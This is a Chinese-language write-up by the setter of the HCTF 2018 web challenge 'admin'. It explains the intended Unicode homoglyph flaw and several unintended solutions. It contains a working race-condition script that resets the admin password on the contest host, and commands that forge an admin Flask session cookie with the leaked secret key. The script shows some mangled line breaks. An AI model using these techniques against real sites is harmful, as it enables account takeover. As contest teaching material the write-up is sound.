天天看点

[HCTF] admin出题人求挨打

HCTF2018-web-admin来自出题人的write up

——特别感谢本文作者:ckj123——

感谢本文作者长期在“安恒网络空间安全讲武堂”公众号发表优质稿件,也感谢各位公众号作者和粉丝对本公众号的大力支持。我们会努力做的更好的!(~ ̄▽ ̄)~

admin

这题本来的思路是希望大家了解下Unicode的安全问题 然后因为出题人的安全疏忽,产生了很多非预期(出来挨打挨打) 学习学习非预期

预期解法

这个是

spotify

的一个漏洞

[HCTF] admin出题人求挨打

就是照着这个的逻辑写了一份代码(没想到问题这么多。。我真的不是考session伪造!!) 按这个做题就好了

非预期解法

被alias嘲笑开发鬼才=。=

条件竞争

因为没有验证是否admin就赋值给session导致条件竞争修改admin密码

[HCTF] admin出题人求挨打

脚本来自

whitzard

import requests import threading
def login(s, username, password): 
    data = {'username': username, 'password':password, 'submit': ''}
    return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword): 
    data = {'newpassword':newpassword }
    return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
    login(s, 'ddd', 'ddd') 
    change(s, 'qweqweabcabc')
def func2(s): 
    logout(s)
    res = login(s, 'admin', 'qweqweabcabc')
    if '<a href="/index">/index</a>' in res.text:
    print('finish')
def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start()
            t2.start()
if __name__ == "__main__": 
    main()           

复制

session伪造

因为我一不小心把secret_key给传到github了 所以可以伪造我的cookiehttps://github.com/noraj/flask-session-cookie-manager用这个工具 首先先获得cookie然后使用这个工具

python Flasksession_cookie_manager.py decode -c '.eJw9kM1uwjAQhF-l2jOH_DSkQeqByiUikjcCpYq8F-S6DskGUylAqYx491ocOtf5NLM7N9h1kz31sDhPFzuD3fAFixs8fcICsJVX6dWvSojRvzn0OKLYMgqTkDAxNTggyyQwKZWbTPGqV27bY4kHcusI-d1TuRqlw5FcNWIjM9mSI7EdarHJqMVeBl7x6NFVrhb7VHF1wAad9BUj75_rcuOJQzcbL1uZSrG8EpuoFtVBNeuUmAK_fIX7DMxp6nbn79Eew_GZ7qIozWOd2bjIu6jLdaqNtflLkRTzRJvM6qIzc5jB4PTe_n-tXfVhlq-PxKN2wYCfoMBdTnZ67ANxBPc_h0BkmA.W-e9Ug.HvSEX-rxyPxnyB5j2HsfgyDYKLI' -s 'ckj123'
{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'vvvv', 'user_id': '10'}           

复制

python3 Flasksession_cookie_manager.py encode -t "{'_fresh': True, '_id': b'5c0361cfc70f73d44c476d75e3b636367dd9b1abda4cefb4613dad2cdfbd5391ffd4b849eca2dab936bf887b2e53f32c6888d3f0f6731c7000f7482ea27f6e50', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'jbTp', 'name': 'admin', 'user_id': '10'}" -s 'ckj123'
.eJw9kMtqwkAUhl-lnLWLXBrTCC5SpgYDc4KSEuZsZDpOTE4cC1GxjPjuTV10-_Px3-6wa0d77mBxGa92Brt-D4s7vHzBArCRN-nVj4qI0b879Dig2DIKE5EwIdXYI8toYmIqNoniVafctsMCj-TWAfKHp2I1SIcDuXLAWiayIUdi21dik1CDnZx4xYNHV7pKHGLF5RFrdNKXjHx4rYqNJ56y2XjZyFiK_EZsgkqUR1WvY2Ka-HwJjxmY89juLt-DPU3lE90GQZyGOrFhlrZBm-pYG2vTtyzK5pE2idVZa-Ywg97pg_1frV35afLl0_Gknf2T9q4_TeD1bMfnQRAG8PgF6chkyQ.W-e9gA.eA_1zHVsj7eaZndYC1uPklqPPl0           

复制

这样就可以伪造admin登录进去了

弱密码

可以在我的脚本看到我30分钟要刷新一次数据库 原因是我怕很多人在改密码的时候会改成弱密码,导致别人偷鸡进入

admin

账户,比赛结束还是发现有些队是这样拿到flag的 现在想想应该在修改密码的时候规定只能为强密码,太菜了

玄学操作

天枢

这简直是我做ctf以来最神奇的一次经历 先是在fuzz过程中莫名其妙的拿到了flag 这一点其实想看看出题大佬怎么说的,感觉是后端数据库刷新的时候验证用户会出现问题。因为后来又复现成功了一次,具体操作是:在整点的时候注册admin账户提示已存在->再注册自己的账户提示注册成功后直接弹出flag,如下图...

[HCTF] admin出题人求挨打

出题人一脸懵逼=。=,我猜是条件竞争的原因吧

总结

出题人第一次出题,太菜了=。=,经验不足,希望明年可以有更有趣的题目 做为一个学习安全的太不注意安全问题了(该打)

题目环境

https://github.com/woadsl1234/HCTF2018_admin

参考文章

http://xdxd.love/2016/10/17/unicode同形字引起的安全问题/ https://graneed.hatenablog.com/entry/2018/11/11/212048 http://blog.lnyas.xyz/?p=1411 https://graneed.hatenablog.com/entry/2018/11/11/212048